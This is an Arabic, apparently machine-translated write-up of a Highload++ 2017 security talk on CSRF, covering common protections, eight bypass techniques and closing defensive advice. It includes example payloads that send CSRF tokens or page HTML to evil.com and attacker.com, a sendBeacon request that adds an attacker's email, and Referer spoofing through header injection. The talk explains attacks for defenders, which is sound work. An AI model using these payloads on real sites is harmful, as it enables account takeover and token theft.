لا تزال نقاط الضعف في CSRF ذات صلة

CSRF (تزوير طلب المواقع المشتركة) المترجمة إلى الروسية هي مزيفة من الطلبات عبر المواقع. تحدث ميخائيل إيجوروف ( 0ang3el ) في تقريره عن Highload ++ 2017 عن نقاط الضعف في CSRF ، حول آليات الحماية التي يتم استخدامها عادة ، وكيف يمكن التحايل عليها على أي حال. وفي النهاية ، طرح سلسلة من النصائح حول كيفية الدفاع بشكل صحيح ضد هجمات CSRF. تحت فك القط من هذا الأداء.


حول المتحدث: يعمل Mikhail Egorov في Ingram Micro Cloud ويشارك في أمان التطبيقات. في وقت فراغه ، يشارك ميخائيل في البحث عن نقاط الضعف والبحث عن الأخطاء ويتحدث في المؤتمرات الأمنية.

تنويه: المعلومات المقدمة هي محض رأي المؤلف ، كل المباريات عشوائية.


وحش ملفات تعريف الارتباط هذا هو المسؤول عن حقيقة أن هجمات CSRF تعمل. والحقيقة هي أن العديد من تطبيقات الويب تستخدم ملفات تعريف الارتباط (فيما يلي نعتبرها مناسبة لاستدعاء ملفات تعريف الارتباط باللغة الروسية) للتحكم في جلسة المستخدم. تم تصميم المتصفح بحيث إذا كان يحتوي على ملفات تعريف ارتباط المستخدم لهذا المجال والمسار ، فإنه يرسلها تلقائيًا مع طلب HTTP.

ملفات تعريف الارتباط

ملف تعريف الارتباط هو جزء صغير من البيانات يرسله خادم الويب إلى عميل على شكل name = value في رأس HTTP يسمى "Set-Cookie". يقوم المتصفح بتخزين هذه البيانات على جهاز الكمبيوتر الخاص بالمستخدم ، وعند الضرورة ، يرسل هذه البيانات إلى خادم الويب كجزء من طلب HTTP في عنوان HTTP يسمى "ملف تعريف الارتباط".

يمكن أن تحتوي ملفات تعريف الارتباط على سمات مختلفة ، مثل: انتهاء الصلاحية ، المجال ، آمن ، httponly:

ظهرت ملفات تعريف الارتباط لأول مرة في متصفح Netscape في عام 1994. لا تزال العديد من تطبيقات الويب تستخدمها لإدارة جلسة المستخدم.


دعونا نرى كيف يعمل هجوم التزوير عبر المواقع الكلاسيكي (CSRF).

لنفترض أن تطبيق الويب الخاص بنا لديه القدرة على تغيير عنوان التسليم للمستخدم ، ويستخدم ملفات تعريف الارتباط للتحكم في الجلسة.

لدينا نموذج HTML يجب على المستخدم ملؤه: أدخل العنوان وانقر على زر "حفظ". ونتيجة لذلك ، سينتقل طلب POST مع نموذج HTML إلى الخلفية. نرى أن المتصفح يقوم تلقائيًا بتعيين ملفات تعريف ارتباط الجلسة للمستخدم. ترى الخلفية ، عندما تتلقى مثل هذا الطلب ، أن هناك مثل هذه الجلسة ، فهي مستخدم شرعي ، وتغير عنوان التسليم الخاص بها.

ماذا يمكن للمهاجم أن يفعل؟


يمكنه وضع صفحة HTML على موقعه الهجومي الذي يرسل نموذج HTML على سبيل المثال . كوم . نظرًا لأن المتصفح يقوم تلقائيًا بإدراج ملفات تعريف الارتباط الخاصة بالمستخدم في طلب HTTP ، فلن تفهم الخلفية ببساطة ما إذا كان الطلب شرعيًا - هل هو نتيجة لملء النموذج من قبل المستخدم ، أم أنه هجوم CSRF - وسيغير عنوان التسليم للمستخدم إلى قيمة مفيدة للمهاجم .

هناك خيار آخر لهجوم CSRF باستخدام XHR API. إذا سمع الكثير عن هجوم CSRF باستخدام نماذج HTML ، فإنهم يعرفون القليل عن هذه الطريقة ، ولكنه يعمل أيضًا.


لاحظ السمة withCredentials ، التي تتسبب في قيام المتصفح بإرسال ملفات تعريف ارتباط المستخدم تلقائيًا. نظرًا لأن قيمة نوع المحتوى هي application / x-www-form-urlencoded ، فسيرسل المتصفح هذا الطلب بدون طلب الاختبار المبدئي لخيارات CORS ، ومرة ​​أخرى سيعمل هجوم CSRF.

دعونا نفكر بشكل أوضح في كيفية حدوث ذلك.


بيانات المصدر:

• تطبيق example.com عرضة لـ CSRF ،
  
• المستخدم
  
• موقع المهاجم ، حيث توجد صفحة csrf-xhr.html.
  

المستخدم مصدق عليه في التطبيق ، الموجود على example.com . إذا ذهب إلى موقع المهاجم ، فسيتم تنفيذ طلب POST تلقائيًا ، مما سيؤدي إلى تغيير عنوان التسليم. سيقوم المتصفح تلقائيًا بإدراج ملفات تعريف ارتباط الجلسة في الطلب وستقوم الواجهة الخلفية بتغيير العنوان.

سجل هجوم CSRF

بشكل عام ، كانت هجمات CSRF معروفة منذ عام 2001 ، عندما بدأ استغلالها بنشاط. في الفترة 2008-2012 ، كانت نقاط الضعف هذه في كل موقع أول ، بما في ذلك:

1. يوتيوب
   
2. اوقات نيويورك.
   
3. Badoo
   
4. Slideshare
   
5. Vimeo.
   
6. هولو
   
7. بحث السينما ؛
   
8. ...
   

ما مدى خطورة ثغرات CSRF؟

في الواقع ، كل هذا يتوقف على مدى أهمية العمل الهش. يمكن أن يكون:

• الاستيلاء على الحساب - يلتقط المهاجم حساب الضحية عن طريق تغيير البريد الإلكتروني عبر CSRF.
  
• تصعيد الامتياز - زيادة الامتيازات نظرًا لأن المهاجم من خلال CSRF ينشئ مستخدمًا جديدًا يتمتع بحقوق عالية في النظام.
  
• تنفيذ التعليمات البرمجية عن بُعد - تنفيذ التعليمات البرمجية بسبب عملية إدخال الأوامر في لوحة الإدارة عبر CSRF.
  

دعونا نلقي نظرة على ما تقوله تصنيفات الضعف المعترف بها دوليًا حول خطورة CSRF.

في مشروع OWASP Top 10 ، الذي يحتوي على أكثر 10 نقاط ضعف في التطبيق ، في عام 2010 كانت نقاط الضعف CSRF في المركز الخامس . ثم بدأ المطورون في تنفيذ خيارات الحماية المختلفة ، وانتقلت بالفعل ثغرات CSRF في عام 2013 إلى المركز الثامن.

لم يتم تضمين نقاط الضعف في CSRF في القائمة لعام 2017 على الإطلاق ، لأنه من المفترض وفقًا للإحصاءات ، أنها موجودة الآن في اختبار الاختراق في 8 ٪ فقط من الحالات .

أنا شخصياً لا أتفق مع هذه الإحصائيات ، لأنه في العامين الماضيين وجدت العديد من نقاط الضعف في CSRF. بعد ذلك سأخبرك كيف فعلت ذلك.

في تصنيف Bugcrowd VRT (تصنيف تصنيف الثغرات الأمنية) ، تتمتع ثغرات CSRF على مستوى التطبيق بتصنيف شدة P2 (مرتفع). فقط الشدة الحرجة أعلاه ، أي أنها نقاط ضعف خطيرة للغاية .


ضع في اعتبارك أي خيارات حماية CSRF موجودة وكيف يعمل كل خيار من خيارات الحماية.

1. رمز CSRF

• لكل جلسة مستخدم ، يتم إنشاء رمز مميز وفريد للغاية .
  
• يتم إدراج الرمز المميز في DOM لصفحة HTML أو يتم منحه للمستخدم من خلال واجهة برمجة التطبيقات.
  
• يجب على المستخدم مع كل طلب مرتبط بأي تغييرات إرسال رمز مميز في المعلمة أو في رأس HTTP للطلب.
  
• نظرًا لأن المهاجم لا يعرف الرمز المميز ، فإن هجوم CSRF الكلاسيكي لا يعمل.
  

2. تقديم ملف تعريف الارتباط المزدوج

• مرة أخرى ، يتم إنشاء رمز مميز وفريد للغاية لكل جلسة مستخدم ، ولكن يتم وضعه في ملفات تعريف الارتباط.
  
• يجب على المستخدم تمرير نفس القيم في الطلب في الطلب وفي معلمة الطلب.
  
• إذا تزامنت هاتان القيمتان في ملفات تعريف الارتباط وفي المعلمة ، فيُعتبر أن هذا طلب مشروع.
  
• نظرًا لأن المهاجم لا يمكنه ببساطة تغيير ملفات تعريف الارتباط في متصفح المستخدم ، فإن هجوم CSRF الكلاسيكي لا يعمل.
  

3. الحماية القائمة على نوع المحتوى

• يجب على المستخدم إرسال طلب برأس نوع محتوى معين ، مثل application / json.
  
• نظرًا لأنه من المستحيل إرسال مصدر عرضي تعسفي من نوع المحتوى في المتصفح عبر نموذج HTML أو واجهة برمجة التطبيقات XHR ، فإن هجوم CSRF الكلاسيكي لا يعمل مرة أخرى.
  

4. الحماية القائمة على الإحالة

• يجب على المستخدم إرسال طلب بقيمة رأس مرجعية محددة. تقوم الواجهة الخلفية بفحصها ، إذا كانت غير صحيحة ، فيعتبر أن هذا هجوم CSRF.
  
• نظرًا لأن المتصفح لا يمكنه إرسال مُحيل تعسفي عبر نموذج HTML أو XHR API ، فإن هجوم CSRF الكلاسيكي لا يعمل.
  

5. تأكيد كلمة المرور / websudo

• يجب على المستخدم تأكيد الإجراء بكلمة مرور (أو سرية).
  
• نظرًا لأن المهاجم لا يعرفه ، فإن هجوم CSRF الكلاسيكي لا يعمل.
  

6. ملفات تعريف الارتباط SameSite في Chrome و Opera
هذه تقنية جديدة مصممة للحماية من CSRF. في الوقت الحالي ، يعمل فقط في مستعرضين (Chrome و Opera).

• يتم تعيين ملف تعريف الارتباط بسمة إضافية - موقع نفس ، يمكن أن يكون له قيمتان: متراخي أو صارم.
  
• جوهر التكنولوجيا هو أن المتصفح لا يرسل ملفات تعريف الارتباط إذا تم تقديم الطلب من مجال آخر ، على سبيل المثال ، من موقع المهاجم. وبالتالي ، هذا يحمي مرة أخرى ضد هجوم CSRF الكلاسيكي.
  

ولكن ، لسوء الحظ ، في كل مكان توجد ميزات من المتصفحات وتطبيقات الويب ونشرها ، والتي تسمح لك أحيانًا بتجاوز حماية CSRF .

لذلك ، دعنا نتحدث الآن عن 8 طرق لتجاوز الحماية التي يمكن استخدامها في الممارسة.

سيناريوهات الحل:

1. XSS (البرمجة عبر المواقع)

إذا كان تطبيق الويب الخاص بك يحتوي على XSS ، فهذا يجعله تلقائيًا عرضة لـ CSRF ، ومن الصعب حماية نفسك من ذلك. يمكنك فقط طرحها .

2. ترميز التعلق

لنفترض أن تطبيقنا يحتوي على ثغرة أمنية في إدخال HTML ، ولكن لا يوجد XSS. على سبيل المثال ، هناك سياسة أمان المحتوى (CSP) التي تحمي ضد XSS. ولكن لا يزال بإمكان المهاجم تضمين علامات HTML.

إذا قام تطبيقنا بتطبيق الحماية استنادًا إلى رموز CSRF ، فيمكن للمهاجم تضمين مثل HTML ، فهذه ليست علامات صور أو نماذج مغلقة:

<img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea> 

ونتيجة لذلك ، سيتم إرسال جزء من صفحة DOM HTML إلى مورد المهاجم. من المحتمل جدًا أنه إذا نفذ المهاجم مثل HTML بشكل صحيح ، فإن ما يأتي إلى موقع المهاجم سيحتوي على رمز CSRF.

وبالتالي ، بعد معرفة الرمز المميز ، سيتمكن المهاجم من استغلال CSRF بالطريقة الكلاسيكية.

3. نطاق فرعي ضعيف

لنفترض أن لدينا نطاقًا فرعيًا foo.example.com ، وهو عرضة لاستيلاء النطاق الفرعي أو XSS. نتيجة لاستيلاء النطاق الفرعي ، يتحكم المهاجم بالكامل في النطاق الفرعي ويمكنه إضافة أي صفحات HTML هناك أو تنفيذ كود JS في سياق النطاق الفرعي. إذا كان نطاقنا الفرعي عرضة لمثل هذه الأشياء ، فسيتمكن المهاجم من التحايل على الأنواع التالية من حماية CSRF:

• رموز CSRF ؛
  
• إرسال ملف تعريف ارتباط مزدوج ؛
  
• الحماية القائمة على نوع المحتوى.
  

لنفترض أن تطبيقنا الرئيسي يستخدم CORS (تبادل الموارد عبر المصدر) للتواصل عبر النطاقات. يتم إدراج رأسين في استجابة الخادم:

1. Access-Control-Allow-Origin: foo.example.com (foo.example.com - نطاق فرعي ضعيف) ؛
   
2. Access-Control-Allow-Credentials: true   - حتى تتمكن من استخدام XHR API لتقديم طلب بملفات تعريف ارتباط المستخدم.
   

إذا تم استيفاء هذه الشروط ، يمكن للمهاجم ببساطة قراءة رمز CSRF المميز من النطاق الفرعي الذي يسيطر عليه ويستمر في استغلال CSRF بالطريقة الكلاسيكية.

الخيار التالي. افترض أن هناك ملف crossdomain.xml على المجال الرئيسي الذي نريد مهاجمته. يتم استخدام هذا الملف من خلال المكونات الإضافية للفلاش و PDF لتفاعل النطاق الفرعي ، ويسمح بالوصول إليه من أي نطاقات فرعية.

 <cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy> 

إذا كان بإمكان المهاجم تحميل ملف JS إلى foo.example.com ، فيمكنه في هذه الحالة استخدام Service Worker API للنطاق الفرعي foo.example.com ، الذي يمنح ملف الفلاش بالفعل.

 var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); } 

نظرًا لوجود crossdomain.xml على المجال الرئيسي ، مما يسمح بتفاعل النطاقات الفرعية ، يقرأ المهاجم ببساطة رمز CSRF المميز من خلال SWF هذا.

بالمناسبة ، تم اكتشاف ثغرة مماثلة في الأمازون مؤخرًا ، لمزيد من التفاصيل هنا .

حتى إذا لم يتم تكوين CORS ولا يوجد ملف crossdomain.xml ، ولكن يتم استخدام حماية ملفات تعريف الارتباط مزدوجة الإرسال ، يمكن للمهاجم ببساطة إدراج ملفات تعريف الارتباط من النطاق الفرعي للمجال الأصلي إلى المسار الذي يريد فيه استغلال CSRF ، وبالتالي تجاوز حماية ملفات تعريف الارتباط المزدوجة.

4. PDF سيئة

يعتمد هذا الحل على PDF. يحتوي Adobe على مكون إضافي PDF يتم تثبيته تلقائيًا عند تثبيت Adobe Reader. يدعم هذا البرنامج المساعد ما يسمى ببرنامج FormCalc النصي. ومع ذلك ، الآن يعمل ملحق PDF من Adobe فقط في IE11 و Firefox ESR.

لدى FormCalc طريقتين رائعتين: get () و post (). يمكن للمهاجم الذي يستخدم طريقة get قراءة رمز CSRF المميز ، باستخدام البريد ، وإرساله إلى موقعه. لذا يحصل المهاجم على رمز CSRF للضحية.

لنفترض أن لدينا القدرة على تحميل ملف PDF إلى تطبيق ويب. في الواقع ، قد يكون ملفًا بتنسيق مختلف ، على سبيل المثال ، قد يحاول المهاجم تنزيل ملف PDF تحت ستار صورة ، وهو الصورة الرمزية للمستخدم.

يحتوي التطبيق على بعض API في المجال الرئيسي ، مما يسمح لك بالحصول على محتويات الملف الذي تم تنزيله. بعد ذلك ، يمكن للمهاجم استخدام صفحة HTML تتضمن ملف PDF الذي حمّله المهاجم إلى example.com باستخدام علامة التضمين.

 <h1>Nothing to see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'> 

ملف Leak.pdf :


يحتوي هذا الملف على برنامج نصي FormCalc ، والذي يقرأ فقط صفحة Settings.action ، حيث يوجد رمز CSRF مميز في DOM ويرسله باستخدام طريقة النشر إلى موقع المهاجم.

نظرًا لأنه يتم تنزيل ملف PDF من example.com ، فإن ملف PDF هذا لديه حق الوصول الكامل إلى كل شيء منشأ https://example.com ، ويمكنه قراءة البيانات من هناك دون انتهاك وضع سياسة الأصل نفسه (SOP).

هناك تركيز إضافي هو أنه بالنسبة لمكون PDF الإضافي ، لا يهم نوع المحتوى الذي يتم تقديم ملف PDF ، وحتى استجابة HTTP قد تحتوي على رؤوس أخرى (على سبيل المثال ، Content-Disposition). سيظل مكون PDF الإضافي يعرض ملف PDF هذا وينفذ البرنامج النصي FormCalc.

5. حقن ملفات تعريف الارتباط

إذا تم استخدام الحماية المزدوجة لملفات تعريف الارتباط ، إذا تمكن المهاجم من تقديم ملفات تعريف الارتباط بطريقة أو بأخرى ، فهذا يعني انتهاء اللعبة.

يعد CRLF أحد أكثر الخيارات شيوعًا في هذا السيناريو.

إذا تمكن المهاجم من إدراج رؤوس إضافية في استجابة الخادم ، فيمكنه ببساطة إضافة رأس Set-Cookie مع ملفات تعريف الارتباط الضرورية وتجاوز حماية CSRF.

هناك خيار آخر يتعلق بميزات معالجة ملفات تعريف الارتباط بالمتصفح .

على سبيل المثال ، في Safari ، يمكنك استخدام الفاصلة لإدراج ملفات تعريف ارتباط جديدة (ملفات تعريف ارتباط مفصولة بفواصل). لنفترض أن لدينا معلمة URL في الرأس المسمى اللغة. نعالجها ونكتب قيمة اللغة المحددة للمستخدم في ملفات تعريف الارتباط. إذا أدخل المهاجم فاصلة ، فيمكنه إدراج ملفات تعريف ارتباط إضافية بأي اسم.

أيضًا ، تجاوز حماية CSRF يمكن أن يساعد أخطاء المتصفح . على سبيل المثال ، في Firefox كان من الممكن تضمين ملفات تعريف الارتباط من خلال صورة SVG ( CVE-2016-9078) . إذا كان لدينا محرر HTML وسمحنا للمستخدم بإدراج علامات صور ، فيمكن للمهاجم ببساطة الإشارة إلى صورة SVG في سمة SRC ، والتي ستقوم بتعيين ملفات تعريف الارتباط الضرورية.

6. تغيير نوع المحتوى

يعتقد بعض المطورين أنه إذا كنت تستخدم تنسيق بيانات غير قياسي في نص طلب POST للتواصل مع الواجهة الخلفية ، فقد يؤدي ذلك إلى إنقاذك من CSRF. في الواقع هذا ليس هو الحال.

كمثال ، سأذكر ثغرة وجدتها مؤخرًا في خدمة إدارة ملاحظات شائعة جدًا.

استخدم واجهة برمجة التطبيقات التي تستخدم Apache Thrift (تنسيق البيانات الثنائية) وملفات تعريف الارتباط للتحكم في الجلسة. على سبيل المثال ، لإضافة ملاحظة جديدة ، كان على المستخدم إرسال طلب POST. تم نقل البيانات الثنائية في النص ونوع المحتوى: تم تحديد التطبيق / x-thrift.

 POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43 

في الواقع ، لم يتم التحقق من صحة نوع المحتوى هذا في الخلفية. كان من الممكن تغييره إلى نص / عادي واستخدام XHR API لاستغلال ثغرة CSRF هذه ببساطة عن طريق تمرير البيانات الثنائية في نص طلب POST.


في الواقع ، يعد الأمان المستند إلى المحتوى خيار أمان ضعيفًا للغاية. يتم تجاوزه في معظم الحالات.

7. نوع محتوى غير بسيط

من خلال نموذج HTML أو باستخدام XHR API ، يمكننا إرسال أنواع المحتوى التالية:

• نص / عادي ؛
  
• application / x-www-form-urlencoded ؛
  
• بيانات متعددة الأجزاء / النماذج.
  

في الواقع ، من الممكن إرسال أي قيم من نوع المحتوى عبر:

• الخلل في المتصفحات (على سبيل المثال ، Navigator.sendBeacon) ؛
  
• الإضافات: Flash plugin + 307 redirect و PDF plugin + 307 redirect ؛
  
• أطر الخلفية.
  

تدعم بعض الأطر ، مثل إطار عمل JAX-RS Apache CXF ، معلمة تسمى ctype في عنوان URL. يمكنك تحديد أي نوع محتوى في هذه المعلمة ، وستنظر الخلفية إلى هذه المعلمة وستستخدمها بدلاً من نوع المحتوى الذي يتم تمريره إلى الرأس ( رابط إلى المصدر).

تم العثور على خطأ معروف إلى حد ما في متصفح Chrome في عام 2015 ، وبعد ذلك بعد مرور شهر تقريبًا ، تم الوصول إليه بشكل عام ، ولكن تم إصلاحه فقط في عام 2017. يسمح لك هذا الخطأ بإرسال طلب POST مع أي نوع محتوى إلى أصل آخر باستخدام واجهة برمجة تطبيقات تسمى Navigator.sendBeacon ().
كيف بدت العملية؟

 <script> function jsonreq() { var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); </script> 

نقوم بإنشاء نقطة جديدة بنوع المحتوى المطلوب وإرسالها ببساطة باستخدام Navigator.sendBeacon ().

سيناريو حل آخر لا يزال يعمل ويدعم في المتصفحات هو تجاوز استخدام البرنامج المساعد فلاش.


حتى هناك موقع thehackerblog.com ، حيث يوجد بالفعل محرك أقراص فلاش جاهز ، ما عليك سوى تحديد عنوان URL ، والعنوان ، ونوع المحتوى المطلوب والبيانات التي تحتاج إلى نقلها - التي ترسلها ، ويطلب طلب POST مع نوع المحتوى المطلوب في الخلفية.

ولكن هناك خدعة واحدة - لا يمكنك فقط تحديد عنوان URL للموقع الذي نهاجمه. تحتاج إلى تحديد المورد الذي سيقوم بإعادة التوجيه باستخدام الرمز 307 على المورد الذي نهاجمه. ثم ستعمل.

8. مرجع محاكاة ساخرة

يعتمد الخيار الأخير لتجاوز حماية CSRF على المُحيل. يوجد خطأ في متصفح Microsoft Edge ، والذي لا يزال غير ثابت ويسمح لك بتزييف قيمة Referer. ولكنه يعمل ، للأسف ، فقط لطلبات GET. إذا لم تميز الواجهة الخلفية المهاجمة GET عن POST ، فيمكن استغلال هذا الخطأ.

إذا ما زلنا بحاجة إلى POST ، فهناك خدعة صغيرة. يمكننا إرسال مُحيل الرأس باستخدام ملحق PDF و FormCalc.


قبل عام تقريبًا ، كان من الممكن استخدام مكون PDF الإضافي لإرسال أي رؤوس بشكل عام ، بما في ذلك المضيف ، ولكن بعد ذلك أغلقت Adobe هذه الإمكانية من خلال إنشاء قائمة سوداء بالعناوين. أي ، إذا حددنا المُحيل في الرأس ، فلن يذهب هذا الرأس ببساطة.

بشكل عام ، يسمح لنا FormCalc بإرسال أي نوع محتوى بشكل قانوني. إذا أدرجنا أحرف إرجاع السطر وخط التغذية ، فيمكننا إضافة رؤوس إضافية إلى الطلب.

ماذا يحدث إذا Referer http://example.com رأس الصفحة Referer http://example.com ؟

من الواضح أنه غير موجود في القائمة السوداء وسيتم إرسال رأس باسم Referer http://example.com إلى الواجهة الخلفية.

بعض الخوادم ، مثل WildFly أو Jboss ، تتعامل مع المسافة على أنها نهاية اسم رأس HTTP ، أي القولون ` : `. وبالتالي ، سترى مثل هذه الخوادم أن المُحيل قد وصل إليهم بالقيمة http://example.com . لذلك سنستبدل المُحيل.


هذا هو جدول الملخص. توفر الأعمدة حماية ضد CSRF ، وتوفر الصفوف الحلول. في كل خلية ، يشار إلى المتصفحات التي تعمل فيها هذه الطريقة:

• جميع الوسائل لجميع المتصفحات ؛
  
• الكل * يعني المتصفحات التي لا تدعم ملفات تعريف ارتباطات SameSite ، أي كل شيء باستثناء Chrome و Opera.
  

أكثر الخيارات الأساسية والعملية للحماية من هجمات CSRF هو التخلص من ملفات تعريف الارتباط واستخدام الرأس مع الرموز.

ولكن إذا كنت لا تزال غير مستعد للتخلي عن ملفات تعريف الارتباط لإدارة جلسة المستخدم الخاصة بك:

• نموذج التهديدات والتحقق من تنفيذ حماية CSRF (انظر جدول الملخص).
  
• تنفيذ ملفات تعريف الارتباط SameSite. الآن يدعم متصفحان فقط ، ولكن في المستقبل ، على الأرجح ، سيكون هناك المزيد.
  
• الجمع بين الدفاعات CSRF المختلفة - الدفاع في العمق.
  
• اطلب من المستخدم كلمة مرور لتنفيذ الإجراءات المهمة.
  
• امنح الملفات التي تم تنزيلها من قبل المستخدم من مجال منفصل.
  

في أقل من ستة أشهر ، والحمل المرتفع التالي في الشهر - Highload ++ Siberia .

نريد أن نلفت انتباهك إلى بعض التقارير المختارة:

• أنا أبكي على الجميع! كيف قمنا بدمج أنظمة الدفع دون استخدام الفواتير الخاصة بنا / أنطون روساكوف.
  
• njs - البرمجة النصية الأصلية لجافا سكريبت في nginx / Dmitry Volintsev.
  
• PG Saga: تغييرات البيانات التابعة في العديد من الخدمات دون التزامات على مرحلتين وتبعيات متزامنة / Konstantin Evteev.